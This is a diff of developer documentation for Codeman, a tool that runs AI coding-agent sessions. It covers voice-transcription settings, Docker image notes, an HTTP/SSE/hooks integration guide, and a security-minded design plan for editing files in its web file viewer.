+- **Provider resolution** — new `voiceSettings.provider`: `auto` (default) | `claude` |
+  `deepgram` | `webspeech`. `auto` picks Claude when `/api/voice/status` reports it
+  available, else Deepgram when a key is set, else Web Speech. Pinning a provider always
+  wins, so an existing Deepgram user can keep exactly what they have.
+
+### Settings
+
+- `claudeVoiceEnabled` — synced, **default OFF**, gating the whole server side. Off is the
+  honest default: turning it on means this machine's Claude subscription starts paying for
+  transcription for whoever can reach the UI, and the audio goes to Anthropic rather than to
+  wherever it went before. One switch in Settings → Voice, and the mic works with no key.
+- `voiceSettings.provider` — per the resolution table above; joins the existing synced
+  `voiceSettings` object.
+
+## Things worth knowing
+
+- **This uses an undocumented endpoint with subscription credentials.** It is the user's own
+  token, on the user's own machine, driving the user's own Claude Code install, but it is not
+  a published API and Anthropic can change or restrict it. Default-OFF is deliberate; the
+  Deepgram and Web Speech paths stay untouched as the supported fallbacks.
+- **Multi-user mode**: every user's dictation would run on the server owner's Claude
+  credentials, exactly as every user's *sessions* already run on them. Consistent, but worth
+  stating out loud in the settings copy.
+- **Token lifetime** is about 8 hours, refreshed by Claude Code itself whenever it runs. The
+  relay re-reads the file on every connect rather than caching, so a refresh is picked up on
+  the next press of the mic.
+- **HTTPS or localhost**: `getUserMedia` needs a secure context. Prod is HTTPS behind
+  `tailscale serve`, so this is already satisfied; the existing error copy covers the rest.

 The image is **secret-free**: credentials are delivered at runtime (bind mounts or `docker exec --env`), never baked in, so exports never leak them.
 
+⚠️ **Re-build with `--no-cache`, always.** The CLIs are installed in a single `RUN npm install -g` layer, so a plain rebuild re-uses it from the Docker layer cache and the CLIs stay frozen at whatever versions the image was **first** built with, however long ago that was. Editing the Dockerfile does not help unless the edit lands at or above that line: a change appended below it leaves the npm layer cached and only runs the new step. Observed 2026-08-06: a rebuild silently kept a stale `@openai/codex@0.144.6` whose aliased platform binary had not installed, so every `codex` docker case died with `Missing optional dependency @openai/codex-linux-x64` while the build itself reported success.

+
+Antigravity (`agy`) is the one CLI not installed from npm (Google ships a standalone binary), so it has its own Dockerfile step and adds roughly 190MB; a full image lands near 1.6GB. Pi also gets its own step, because upstream documents installing it with `--ignore-scripts` and that flag must not silently change how the other four npm CLIs install.
+
+Pi's credentials are seeded per-FILE rather than as a whole directory (`auth.json`, `settings.json`, `trust.json`, `models.json`, `models-store.json` out of `~/.pi/agent`), because that directory also holds `sessions/`, `extensions/`, `skills/` and the installed package trees — gigabytes on an active host. Consequence: in-container pi sessions are invisible host-side, so `pi -c` inside a Docker case only sees that container's own history. See [`pi-integration.md`](./pi-integration.md).

No host/image/network fields to fill in.

+# Extending Codeman
+
+Codeman has no plugin runtime, and that is a deliberate choice rather than a
+missing feature. A plugin runtime means running third-party code inside a process
+that spawns agents with your credentials, on a server people routinely expose
+over a tunnel or Tailscale. Codeman's security model is one of its reasons to
+exist, so it does not hand that away for an extension mechanism.
+
+Instead there are four seams that already work, from any language, with nothing
+installed:
+
+| You want to | Use | Runs where |
+| --- | --- | --- |
+| Show your own UI inside Codeman | [Web tabs](#seam-1-web-tabs) | Your own process, rendered as a tab |
+| React when an agent needs you | [SSE events](#seam-2-sse-events) | Anywhere that can hold an HTTP connection |
+| Drive Codeman from a script | [HTTP API](#seam-3-http-api-and-cli) or the `codeman` CLI | Anywhere |
+| React inside a Claude session | [Hooks](#seam-4-hooks) | The agent's own machine |
+
+Everything below is covered by the stability promise in
+[`versioning-policy.md`](versioning-policy.md): endpoint paths, the response
+envelope, `errorCode` values, and SSE event names are stable. Additive changes
+(new endpoints, new optional fields, new events) are non-breaking. Breaking
+changes ship under a new prefix (`/api/v2`).
+
+## Before you start
+
+**Base URL.** `http://127.0.0.1:3000` by default. Prefer the versioned prefix
+`/api/v1/...` for anything you publish; the unversioned `/api/...` is an alias.
+
+**Auth.** If `CODEMAN_PASSWORD` is set, send HTTP Basic on every request, or
+authenticate once and keep the `codeman_session` cookie. With no password set,
+Codeman is loopback-only and unauthenticated.
+
+```bash
+curl -u admin:$CODEMAN_PASSWORD http://127.0.0.1:3000/api/v1/sessions
+```
+
+**Envelope.** Every response is `{"success": true, "data": ...}` or
+`{"success": false, "error": "...", "errorCode": "..."}`. Check the HTTP status
+or `body.success`, then read `body.data`. The full `errorCode` to status mapping
+is in [`api-reference.md`](api-reference.md).
+
+⚠️ A few legacy GETs (`/api/away-digest` among them) return a bare-ish body with
+the payload at the top level rather than under `data`. Read defensively with
+`body.data ?? body`.
+
+⚠️ A `401` is not an envelope at all: auth is rejected in a request hook that
+replies with the bare string `Unauthorized`, so parsing it as JSON throws. Branch on
+the status code before you parse, or a missing password looks like a broken endpoint.
+
+**Already driving Codeman from an agent?** The README's
+[Programmatic Guide](../README.md#driving-codeman-from-an-agent--programmatic-guide)
+covers the in-session case: the `CODEMAN_MUX`, `CODEMAN_API_URL`,
+`CODEMAN_SESSION_ID` and `CODEMAN_HOOK_SECRET_FILE` variables that let a CLI
+running inside Codeman find the API and avoid acting on itself. This page is for
+code running *outside* a session.
+
+## Seam 1: Web tabs
+
+The highest-leverage seam. Any web app you can serve locally becomes a tab beside
+your agent sessions. You write a normal web page; Codeman handles embedding it.
+
+```bash
+curl -u admin:$PASS -X POST http://127.0.0.1:3000/api/v1/webviews \
+  -H 'Content-Type: application/json' \
+  -d '{"name":"My Dashboard","url":"http://127.0.0.1:8787","icon":"📊"}'
+```
+
+Fields: `name` (1 to 60 chars), `url`, and optionally `icon` (a single glyph, max
+8 code units), `embedMode` (`proxy` by default, or `direct`), and `trusted`.
+
+Related endpoints: `GET /api/v1/webviews`, `PATCH /api/v1/webviews/:id`,
+`DELETE /api/v1/webviews/:id`, `POST /api/v1/webviews/probe` (reachability and
+framing check), `POST /api/v1/webviews/:id/open`.
+
+### Why it is proxied
+
+By default your page is served through Codeman's own origin at `/webview/:cap/*`
+rather than framed directly. A direct iframe fails three ways at once: production
+is HTTPS so `http://` targets are blocked as mixed content, many dashboards send
+`X-Frame-Options: DENY`, and Codeman's own `default-src 'self'` CSP blocks
+cross-origin frames. Proxying solves all three without weakening the CSP.
+
+### The two things that will confuse you
+
+A proxied frame is sandboxed and therefore **opaque-origin** unless you set
+`trusted: true`. Two consequences look like bugs in your own app:
+
+1. **Root-absolute URLs built at runtime** (`/assets/x.png` assembled in JS)
+   escape the injected `<base>` tag. Codeman injects a `runtimeUrlShim()` that
+   patches the common DOM sinks, but if you construct URLs in an unusual way,
+   prefer relative paths.
+2. **Same-host `fetch` and `XHR` are CORS-checked with `Origin: null`.** Codeman
+   handles this with `buildProxyCorsHeaders()`, and the proxy is exempt from the
+   global `OPTIONS` short-circuit. If you see "Failed to fetch" while the page
+   itself renders fine, this is the area to look at.
+
+⚠️ `trusted: true` opts out of the sandbox. A proxied page is served from
+Codeman's origin, so `allow-same-origin` lets it read the Codeman page and call
+the API that spawns agents. Only mark your own trusted code.
+
+## Seam 2: SSE events
+
+`GET /api/v1/events` is a Server-Sent Events stream. Each message is
+`event: <name>` plus `data: <json>`. There are 149 event names following a
+`domain:action` convention, registered in `src/web/sse-events.ts`.
+
+The ones most integrations want:
+
+| Event | Meaning |
+| --- | --- |
+| `session:created`, `session:deleted` | A session appeared or went away |
+| `session:idle` | The agent stopped working |
+| `session:completion` | A completion message was detected |
+| `session:exit`, `session:error` | The session ended or failed |
+| `hook:permission_prompt` | The agent is asking for permission |
+| `hook:idle_prompt`, `hook:stop` | The agent is waiting on you, or stopped |
+| `hook:task_completed`, `task:completed` | Work finished |
+| `subagent:discovered`, `subagent:completed` | Background agent lifecycle |
+| `mux:died` | A multiplexer session died unexpectedly |
+| `cron:runCreated`, `cron:runUpdated` | Scheduled job activity |
+
+### Filtering
+
+`?sessions=id1,id2` suppresses only the high-volume `session:terminal` stream for
+sessions you did not list. Lifecycle and metadata events are always delivered, so
+you cannot accidentally filter away the thing you are listening for.
+
+Pass `?clientId=<uuid>` to enable live filter updates through
+`POST /api/v1/events/subscribe` without reconnecting the stream.
+
+### Example: notify when any agent needs you
+
+```js
+const res = await fetch('http://127.0.0.1:3000/api/v1/events', {
+  headers: { Authorization: 'Basic ' + btoa(`admin:${process.env.CODEMAN_PASSWORD}`) },
+});
+const reader = res.body.getReader();
+const decoder = new TextDecoder();
+let buf = '';
+const WANTED = new Set(['hook:permission_prompt', 'hook:idle_prompt', 'session:idle']);
+
+for (;;) {
+  const { value, done } = await reader.read();
+  if (done) break;
+  buf += decoder.decode(value, { stream: true });
+  const frames = buf.split('\n\n');
+  buf = frames.pop() ?? '';
+  for (const frame of frames) {
+    const name = frame.match(/^event: (.+)$/m)?.[1];
+    const data = frame.match(/^data: (.+)$/m)?.[1];
+    if (name && WANTED.has(name)) notify(name, JSON.parse(data ?? '{}'));
+  }
+}
+```
+
+## Seam 3: HTTP API and CLI
+
+Around 200 handlers across 21 route files cover sessions, cases, files, cron,
+respawn, Ralph, the orchestrator, search, and admin. Each route module carries an
+`@fileoverview` describing its endpoints.
+
+If the caller is an agent running _inside_ a Codeman session, install the packaged
+agent skill instead of teaching it these calls by hand: `skills/codeman` in the repo
+(`npx skills add Ark0N/Codeman --skill codeman -g`, or `codeman skill install
+[--case <name>]`, or the synced `agentSkillEnabled` App Setting for automatic
+per-case injection on Claude session create). The skill carries the guard, the
+safety rules, and verified wait/orchestration recipes.
+
+The common ones:
+
+```bash
+# List sessions (live + persisted + transcript history, deduped)
+curl -u admin:$PASS http://127.0.0.1:3000/api/v1/sessions/unified
+
+# Create a session
+curl -u admin:$PASS -X POST http://127.0.0.1:3000/api/v1/sessions \
+  -H 'Content-Type: application/json' \
+  -d '{"workingDir":"/home/me/project","mode":"claude"}'
+
+# Send a prompt (single-line only, and it must end with \r: Enter is sent only
+# when the input contains a carriage return; without it the text sits on the
+# session's prompt unsubmitted)
+curl -u admin:$PASS -X POST http://127.0.0.1:3000/api/v1/sessions/$ID/input \
+  -H 'Content-Type: application/json' \
+  -d '{"input":"run the tests\r","useMux":true}'
+```
+
+`POST .../input` also accepts `clientId` (stable per client, max 128 chars) and
+`seq` (monotonic per session). Send both and the server applies each pair
+at-most-once, so retrying after a dropped connection cannot type the prompt
+twice. Omit them entirely rather than sending `null`.
+
+It also accepts `wait` and `waitTimeout`, which hold the response open until the
+session finishes the turn you just started. `wait` is `true` (the default signal
+set) or a comma list of `idle,working,stop,blocked,exit`; the result comes back
+under `data.wait`. Sending them changes nothing for callers that do not: without
+`wait` the response is still `{"success": true, "data": {}}` and the write is still
+fire-and-forget. The two interact with `clientId` / `seq` in one way worth knowing:
+a **tagged duplicate** (a pair the server already applied) skips the write but still
+waits, answering from the session's current state rather than blocking for a
+transition that already happened. It reports `"delivered": false, "duplicate": true`.
+
+### Waiting instead of polling
+
+Three calls block until something happens: `GET /api/v1/sessions/:id/wait` (a
+lifecycle signal), `GET /api/v1/sessions/:id/wait-output` (a literal string in the
+output), and the `wait` field above. Full parameter and response tables are in
+[`api-reference.md`](api-reference.md#long-polling-agent-wait). Four things decide
+whether your integration works, and the last one is what actually bites:
+
+- **A timeout is a `200` with `wait.timedOut: true`**, not an error. Loop over short
+  waits rather than issuing one long one, because `tailscale serve` and cloudflared
+  both cut idle connections and a single 10-minute call is the pattern most likely
+  to die in the field.
+- **`wait.timeoutMs`** is the timeout after server-side clamping (600 s ceiling by
+  default). Read it rather than assuming you got what you asked for.
+- **`stop` and `blocked` only exist for `claude` sessions**, and on a `shell` session
+  even `idle` fires only once at startup, so send-and-wait there can only time out.
+  See the Gotchas below.
+
+⚠️ **There is no readiness signal, and skipping readiness is the failure that looks
+like success.** A session reports `idle` before its CLI has spawned, and a `claude`
+worker in a brand-new case comes up on the CLI's **trust dialog**, which has a ❯
+prompt of its own. Prompt it at that moment and the text lands in the dialog, the
+`\r` does not get past it, and the session's startup `idle` lands inside the wait
+window: the wait resolves on `idle` in a couple of seconds with `timedOut: false`,
+indistinguishable from a finished turn. Wait for the pid, then wait for the
+composer, answering the dialog only as the bounded fallback.
+
+A worked orchestration: start a worker, get it ready, prompt it, wait, clean up.
+
+```bash
+API="${CODEMAN_API_URL:-http://127.0.0.1:3000}"   # auto-set in-session, correct scheme included
+AUTH=(-u "admin:$CODEMAN_PASSWORD")     # omit entirely if no password is set
+CURL=(curl -sk "${AUTH[@]}")   # -k: harmless on http, required on --https installs (self-signed cert)
+
+# 1. Start a worker session (creates the case if it does not exist yet).

+
+# 2. READINESS: composer marker first, trust dialog only as the bounded fallback.
+#    Skip this and step 3 reports a turn that never ran. Do NOT probe trust first
+#    and Enter blindly: the dialog text stays in the buffer for the life of the
+#    session, so on every later run that probe matches stale text and the Enter
+#    lands in a ready composer. Match single tokens only: TUI text can arrive
+#    without its spaces. Stage 1 is short on purpose (an already-trusted case

+

+
+# 5. Read what it produced, then delete the session YOU created, by exact id.

+"${CURL[@]}" -X DELETE "$API/api/v1/sessions/$SID"
+```
+
+Waiting on a marker instead of a signal is the form that works in **every** mode,
+and the only one that works on a `shell` session:
+
+```bash
+# ⚠️ Split the marker so the typed line never contains it: your own keystrokes echo
+# into the output stream, so an unsplit marker matches before the command has run.
+# `from=buffer` also catches a marker that printed before the wait registered.
+N=$RANDOM
+"${CURL[@]}" -X POST "$API/api/v1/sessions/$SID/input" \

+  --data-urlencode "match=DONE_$N" --data-urlencode 'from=buffer' \
+  --data-urlencode 'timeout=60000' | jq '.data.wait'
+```
+
+For shell scripting, the `codeman` CLI is the same surface without the HTTP
+plumbing:
+
+```
+codeman session start|stop|list|logs     codeman task add|list|status|remove|clear
+codeman ralph start|stop|status|reset    codeman users add|passwd|list
+codeman status | list | attach <path>    codeman doctor
+```
+
+## Seam 4: Hooks
+
+Claude Code hooks post to `POST /api/v1/hook-event` from inside an agent session.
+Codeman installs its own hooks automatically, but the endpoint is open to yours.
+
+```json
+{ "event": "task_completed", "sessionId": "abc123", "data": { "any": "json" } }
+```
+
+`event` must be one of `permission_prompt`, `elicitation_dialog`, `idle_prompt`,
+`stop`, `teammate_idle`, `task_completed`. Each becomes the matching `hook:*` SSE
+event.
+
+⚠️ This endpoint skips Basic auth so hooks keep working, but when auth is active
+the loopback bypass requires the `X-Codeman-Hook-Secret` header
+(`~/.codeman/hook-secret`) unconditionally.
+
+## Gotchas
+
+Every one of these has cost somebody real time.
+
+- **CORS is localhost-only.** `Access-Control-Allow-Origin` is echoed only for
+  `localhost`, `127.0.0.1`, and `::1`. A browser app on any other origin cannot
+  call the API. Integrate server-side.
+- **A missing `Origin` header is allowed**, which is why curl, CLIs, and hooks
+  work. Cross-site origins are blocked by the CSRF guard.
+- **Reverse-proxy domains are rejected** by the anti-DNS-rebinding Host allowlist
+  unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
+- **`null` is not `undefined`.** Request schemas use Zod `.optional()`, which
+  accepts `undefined` only. `JSON.stringify({ field: null })` keeps the null on
+  the wire and fails with `INVALID_INPUT`. Omit the key instead. This has caused
+  shipped bugs more than once.
+- **`text/plain` bodies stay raw.** Auto-parsing them as JSON enabled
+  simple-request CSRF, so it is deliberate. Send `application/json`.
+- **Prompts are single-line and must end with `\r`.** The server splits your text
+  and Enter into two separate tmux writes (Ink needs them apart), but it sends the
+  Enter **only when the input contains a carriage return**. Without it your text
+  sits on the prompt unsubmitted, which is the single most common "the wait
+  endpoints don't work" report: the wait runs its full timeout on a turn that never
+  started. Newlines inside the string are stripped rather than rejected, so
+  `"echo A\necho B\r"` runs the single joined command `echo Aecho B`: send one line
+  per call.
+- **`wait-output`'s `from=now` is not "printed after you asked".** tmux repaints
+  the visible screen on attach, on resize, and on any TUI redraw, and a repaint
+  arrives as ordinary output, so text already on screen can satisfy a fresh wait.
+  Observed live: a marker echoed a minute earlier matched instantly. Use a marker
+  unique to each call, and build it so the typed line never contains it (your own
+  keystrokes echo into the stream). Matching is a literal substring, so `regex=` is
+  rejected with a `400` rather than ignored.
+- **`wait-output` matches the normalized PTY stream, not the screen.** ANSI escape
+  sequences are stripped (the `ESC ( B` charset escape a bash prompt emits on every
+  line included), a partial escape at a chunk boundary is held back until its tail
+  arrives, and a match may straddle PTY chunks, so text you printed yourself
+  matches reliably (`printf STRAD; sleep 1; printf DLEQQ` is matchable as
+  `STRADDLEQQ`). What can still fail is TUI output: a full-screen TUI positions
+  words with cursor moves, so its text can reach the matcher **without spaces** and
+  a multi-word match is unreliable there. Match one short space-free token, ideally
+  one you printed yourself, and keep it out of the typed line (your own keystrokes
+  echo into the stream).
+- **`stop` and `blocked` never fire for `shell`, `opencode`, `codex`, `gemini`,
+  `antigravity` or `pi` sessions.** They come from Claude Code hooks, which no other mode
+  installs, so only `idle`, `working` and `exit` exist there. Asking for them
+  explicitly is a `400`; omitting `until` is safe, since the server drops them from
+  the default set and echoes what it actually waited on as `wait.until`. Even in
+  `claude` mode, a Docker case needs `CODEMAN_DOCKER_BRIDGE_HOOKS=1` for hooks to
+  reach the server at all, a remote-SSH case's hooks may never arrive, and a case
+  written by Codeman < 1.13.0 against an `--https` install carries hook curls
+  without `-k` that TLS-fail silently — a 1.13.0+ server rewrites them the next
+  time a session starts in that case.
+- **Unwrap the envelope** before reading fields. `data` is not the response body.
+
+## Publishing your integration
+
+There is no registry and no review queue. Add the GitHub topic
+**`codeman-integration`** to your public repository so others can find it, and
+link back to Codeman in your README.
+
+If a real ecosystem of these appears, a manifest format and an install command
+become worth building. Until then, these four seams are the contract, and they
+require nothing of you but HTTP.
+
+## What Codeman deliberately does not have
+
+- **No in-process plugin runtime.** See the reasoning at the top of this page.
+- **No build or startup hooks** for third-party code. Run your own process.
+- **No per-plugin config or state directories.** Manage your own files.
+- **No sandbox for integration code**, because Codeman never launches it. Your
+  integration is your own process, started by you, with your permissions,
+  talking HTTP.
+
+That last point is about integration code specifically, not about Codeman.
+Sandboxing lives on a different axis here: the thing worth isolating is the
+**agent**, and you isolate it per case with
+[Docker cases](docker-cases.md), which run the agent in a hardened container with
+a bind-mounted workspace and seeded (not shared) credentials. An integration that
+creates or drives a Docker-backed session inherits that isolation for free, since
+it is a property of the session rather than of the caller.

+# File Viewer edit mode (issue #212)
+
+Plan only. No implementation yet.
+
+Goal: close the loop "agent writes a file, you review it in the viewer, tweak two lines, save, tell the
+agent to continue" without hopping into the terminal, with the phone as the primary target.
+
+Scope from the issue: an Edit toggle on text previews, a write endpoint that inherits the read path's
+confinement, text-only, edit-in-place (no create, no delete, no rename), no editing through the
+Docker/remote overlays.

+## 1. What exists today
+
+**Read path (backend), all in `src/web/routes/file-routes.ts`:**
+
+| Route                                | Line   | Notes                                                              |
+| ------------------------------------ | ------ | ------------------------------------------------------------------ |
+| `GET /api/sessions/:id/files`        | `741`  | Tree scan of `session.workingDir`, hidden files off by default      |
+| `GET /api/sessions/:id/file-content` | `865`  | The text/preview classifier. `findSessionOrFail` + `validateSessionFilePath` |
+| `GET /api/sessions/:id/file-raw`     | `1018` | Bytes, 50MB cap                                                    |
+| `GET /api/sessions/:id/file-preview` | `1254` | DOCX/PPTX to PDF, everything else redirects to `file-raw`           |
+| `GET /api/download`                  | `1384` | The only read route that also runs `isSensitivePath()`              |
+
+`file-content` classification order (`file-routes.ts:881-1011`): extension buckets (image / video / audio /
+known-binary) return metadata only; otherwise the bytes are read, sniffed for a NUL in the first 8KB, and
+either reported as `type:'binary'` or decoded as UTF-8 and **truncated to `lines` (default 500, hard cap
+10000)**. Caps: `MAX_TEXT_FILE_SIZE` 10MB.
+
+Confinement is `validateSessionFilePath()` (`src/web/route-helpers.ts:67`): `resolve()` then `realpathSync()`
+then reject if the result is not under `workingDir`. Because it realpaths the *full* path, a symlink whose
+target escapes the workspace is already rejected. Ownership is `findSessionOrFail()` which runs
+`canAccessOwned()` (`route-helpers.ts:102`), a no-op outside multi-user mode.
+
+**Read path (frontend), `src/web/public/panels-ui.js`:**
+
+- `loadFileBrowser()` `2947`, `renderFileBrowserTree()` `2978`, click to `openFilePreview()` `3056`.
+- `openFilePreview(filePath, sessionId, attachmentId)` `3193`: attachment-id branch, then docx/pptx, pdf,
+  svg branches, then the generic `file-content` fetch at `3274` with **`&lines=500` hardcoded**, rendering
+  text as `<pre><code>${escapeHtml(...)}</code></pre>` at `3298` and stashing `this.filePreviewContent`.
+- `closeFilePreview()` `3308`, `copyFilePreviewContent()` `3751`.
+- Markup: `src/web/public/index.html:420-432` (`filePreviewOverlay` / `-Title` / `-Body` / `-Footer`, two
+  header buttons: copy and close).
+- CSS: `src/web/public/styles.css:9320-9430`. Overlay `z-index: 2000`, window `80vw/80vh`, capped
+  `900x700`. There are **no `.file-preview-*` rules in `mobile.css` at all**.
+
+**Reachability on phones.** The header File Viewer button is hidden below 430px
+(`mobile.css:482`, locked by `KNOWN_PHONE_HIDDEN` in `test/mobile-header-buttons-policy.test.ts`), so on a
+phone the preview overlay is reached through:
+
+1. an attachment card's **Preview** button (`panels-ui.js:3451`), which is exactly the "agent just wrote a
+   file" path the issue describes,
+2. the attachment-history drawer (`panels-ui.js:3709`),
+3. App Settings to Panels to **File Browser** (`showFileBrowser`, applied in `settings-ui.js:2202`; the
+   panel is mobile-styled at `mobile.css:1868`).
+
+So edit mode is reachable on a phone today via (1) and (2) without touching the header policy. Improving
+the entry point is listed as an open decision in section 10, not assumed.
+
+---
+
+## 2. Threat model, stated honestly
+
+Anyone who can call this API can already reach `POST /api/sessions/:id/input` and type an arbitrary prompt
+into an agent running with `--dangerously-skip-permissions`. A workspace-confined write endpoint therefore
+does not create a new privilege tier for an authenticated caller.
+
+What it *would* create if built carelessly is a **new host-write primitive reachable by path**, so the
+things this plan actually defends against are:
+
+1. **Path traversal / symlink escape** writing outside the workspace.
+2. **TOCTOU**: a path component that becomes a symlink between validation and write.
+3. **Cross-user writes** in multi-user mode (`canAccessOwned`).
+4. **Silent data loss**, which is the highest-probability real-world failure here and gets its own section.
+
+CSRF is already covered: `registerHostGuard()` (`src/web/middleware/auth.ts:555-578`) rejects any
+non-safe-method request whose `Origin` is cross-site. The webview-capability exemption at that gate is
+fenced to `GET`/`HEAD` for the Referer form (`auth.ts:161`) and to `/webview/:cap/*` paths for the path
+form, so a proxied dashboard cannot reach a new `PUT /api/...`. Using `PUT` + `application/json` also
+forces a preflight for any cross-origin attempt.
+
+---
+
+## 3. Backend design

+### 3.1 New policy module: `src/config/file-editing.ts`

+Pure, unit-testable, no IO (config lives in `src/config/`, no barrel, import the file directly).

+                                                        // .prettierignore, .editorconfig, .nvmrc, ...
+export function isEditableFileName(fileName: string): boolean;
+export function isDeniedEditRelativePath(rel: string): boolean;  // `.git/` subtree
+export function detectEol(text: string): 'lf' | 'crlf';
+export function applyEol(text: string, eol: 'lf' | 'crlf'): string;
+```
+
+Decisions baked in:
+
+- **Allowlist, not blocklist**, per the issue and per the existing attachment-guard precedent.
+- `svg` and `env` are deliberately marked with `?` above: `svg` is served as an untrusted octet-stream on
+  the read side (`file-routes.ts:118`) so allowing an edit is defensible, but I recommend **excluding
+  both** in v1. `.env` files are matched by `isSensitivePath()` anyway and would be rejected downstream;
+  excluding them at the allowlist keeps a single obvious refusal.
+- `isDeniedEditRelativePath` blocks the `.git/` subtree: `.git/hooks/*` is code execution and a corrupt
+  index is unrecoverable-looking to a user who only wanted to fix a typo. Other dotfiles stay allowed but
+  are not reachable from the tree UI anyway (`showHidden=false`).
+
+### 3.2 Read-for-edit: extend the existing GET
+
+`GET /api/sessions/:id/file-content?path=<rel>&edit=1`
+
+When `edit=1`:
+
+- skip line truncation entirely (a truncated buffer must never become an edit buffer, see section 4.1),
+- enforce `MAX_EDITABLE_BYTES` instead of `MAX_TEXT_FILE_SIZE` and answer 413 over it (as a structured
+  throw with `statusCode: 413`, the `throwFilesystemPickerError` pattern, since the central errorCode-to-
+  status map has no 413 entry; see the error-mechanics note in 3.3),
+- run the editability gate (`isEditableFileName`, `isDeniedEditRelativePath`, `isSensitivePath`,
+  `isBlockedAttachmentPath`) and the content gate (NUL sniff plus UTF-8 round-trip, see 4.3),
+- return `{ content, size, mtimeMs, totalLines, truncated: false, extension, editable: true, hash, eol }`.
+  `hash` is `sha256` hex of the exact on-disk bytes.
+
+Non-`edit` responses gain **only** `editable: boolean` (additive, no shape change for existing consumers),
+which is all the UI needs to decide whether to show the Edit button. No `hash` on plain reads: the Edit
+action re-fetches with `edit=1` anyway (section 4.1), which is where the hash comes from, and hashing every
+casual 10MB preview would be pure waste.
+
+### 3.3 Write: `PUT /api/sessions/:id/file-content`
+
+Body (new `FileWriteSchema` in `src/web/schemas.ts`, Zod v4):
+
+```ts
+{ path: string, content: string, baseHash: string, eol?: 'lf'|'crlf', force?: boolean }
+```
+
+Registered with an explicit route option `{ bodyLimit: 4 * 1024 * 1024 }`. **Fastify's default `bodyLimit`
+is 1MB and this repo configures none**, and JSON escaping expands content: 2x for a file full of quotes or
+backslashes, up to 6x for control characters (each serialized as a `\uXXXX` escape), so 512KB of content
+can legitimately exceed 1MB on the wire; blowing the limit produces a raw `FST_ERR_CTP_BODY_TOO_LARGE`, not an `ApiResponse` envelope. Two
+related sizing notes: `z.string().max()` counts **UTF-16 code units, not bytes**, so the schema's `.max()`
+is only a coarse pre-filter and the real cap is an explicit `Buffer.byteLength(content, 'utf8')` check in
+the handler (step 7a below); and 4MB comfortably bounds the worst-case expansion of a 512KB file without
+inviting multi-MB bodies elsewhere.
+
+**Error mechanics** (matters for both prod behavior and testability): a handler that *returns* a
+`{success:false, errorCode}` envelope gets its HTTP status assigned centrally by the preSerialization hook
+in `server.ts` (`httpStatusForErrorCode()`, `src/types/api.ts`), but the route-test harness
+(`test/routes/_route-test-utils.ts`) installs only `installRouteErrorHandler`, **not** that hook, so
+returned envelopes surface as HTTP 200 in tests. The PUT handler should therefore use the same
+structured-**throw** pattern as the filesystem picker (`throwFilesystemPickerError`, `file-routes.ts:411`):
+thrown `{statusCode, body}` errors are rendered identically in prod and in the harness, and they allow the
+one status the code map cannot express (413). The error envelope itself is strictly
+`{success:false, error, errorCode}`, **it has no data arm**, so no error response may carry extra payload.
+
+Handler order (each step is a test case):
+
+1. `findSessionOrFail(ctx, id, req)` (live sessions only, matching the read route, and it carries the
+   multi-user ownership check).
+2. `parseBody(FileWriteSchema, req.body)`, then `Buffer.byteLength(content, 'utf8') <= MAX_EDITABLE_BYTES`
+   or 413 (the schema `.max()` alone cannot enforce a byte cap, see the sizing note above).
+3. `validateSessionFilePath(session.workingDir, path)` or 404 (do not distinguish "outside workspace" from
+   "missing", matching the read route).
+4. `isSensitivePath(resolvedPath) || isBlockedAttachmentPath(resolvedPath, guard.blockedTrees)` or 403.
+5. `isDeniedEditRelativePath(relativePath)` or 403.
+6. `isEditableFileName(basename(resolvedPath))` or 400.
+7. `stat`: must be `isFile()`, size within `MAX_EDITABLE_BYTES`, else 400/413. **No `O_CREAT` anywhere in
+   this handler**, which is what enforces edit-in-place.
+8. Read current bytes, compute `hash`, run the NUL sniff and the UTF-8 round-trip check, else 400.
+9. `hash !== baseHash && !force` gives **409 CONFLICT** (`ApiErrorCode.CONFLICT`, plain envelope; the error
+   arm carries no data, see the error-mechanics note). The client's conflict dialog gets fresh state by
+   re-fetching `edit=1`, which it needs for its Reload action anyway.
+10. Build the output buffer: `applyEol(content, eol ?? detected-from-original)`; re-check
+    `Buffer.byteLength` against the cap.
+11. Write atomically in the resolved parent directory:
+    `fs.open(<dir>/.<name>.codeman-tmp-<rand>, 'wx', stat.mode & 0o777)`, then `fchmod(stat.mode & 0o777)`
+    (open's mode argument is masked by the process umask, so the chmod is what actually preserves an
+    unusual mode), write, `fsync`, close, `fs.rename(tmp, resolvedPath)`, unlink the temp on any failure.
+12. Re-stat, return `{ success: true, data: { path, size, mtimeMs, hash, totalLines } }`.
+
+Why `O_EXCL` temp plus rename rather than truncate-in-place:
+
+- `wx` cannot follow a pre-existing symlink, which closes the TOCTOU window from step 3 to step 11 without
+  needing `O_NOFOLLOW` gymnastics.
+- `rename()` does not follow a symlink in the final component, so even if `resolvedPath` were swapped for a
+  symlink after validation, the symlink itself is replaced and the swap target is untouched.
+- A crash mid-write leaves the original intact.
+
+Caveat to document in the code comment: rename replaces the inode, so hardlinks to the file keep the old
+content. That is the same trade-off vim makes by default and is preferable to a truncate window here.
+
+No SSE event in v1. Nothing else in the app needs to know: `image-watcher.ts` only reacts to
+`.png/.jpg/.jpeg/.gif/.webp/.bmp/.svg/.pdf/.docx/.pptx` adds (`image-watcher.ts:23-25`), none of which are
+editable text, and the temp filename does not match either.
+
+---
+
+## 4. The five traps
+
+These are the parts that turn a "small write endpoint" into a bug report.
+
+### 4.1 Truncation (the data-loss trap)
+
+The frontend fetches `&lines=500` (`panels-ui.js:3274`). Saving that buffer back would **delete every line
+past 500**. Worse, the content hash of the full file would still match, so an optimistic-concurrency check
+cannot catch it.
+
+Mitigations, all three:
+
+- The Edit affordance is only offered when the loaded payload came from `edit=1` (which never truncates).
+  Tapping Edit on an already-rendered preview **re-fetches** with `edit=1` before swapping in the editor.
+- The read-for-edit path 413s above `MAX_EDITABLE_BYTES` rather than truncating, so "too big to edit here"
+  is an explicit refusal with a message, never a silent partial buffer.
+- A test asserts `edit=1` never returns `truncated: true`.
+
+### 4.2 Line endings
+
+A `<textarea>`'s `.value` normalizes to LF. Saving a CRLF file naively rewrites every line, producing a
+whole-file diff for a two-line change. So: the read returns the detected `eol`, the client echoes it back
+unchanged, and the server re-applies it. Mixed-EOL files use the dominant style, which is lossy for the
+minority lines; call that out in the response and accept it in v1.
+
+### 4.3 Encoding
+
+`buf.toString('utf-8')` on a latin-1 or otherwise non-UTF-8 file yields U+FFFD replacement characters, and
+writing that back **corrupts the file**. The check is a round-trip:
+`Buffer.from(decoded, 'utf8').equals(buf)`. If it fails, `editable: false` and the write is refused. This
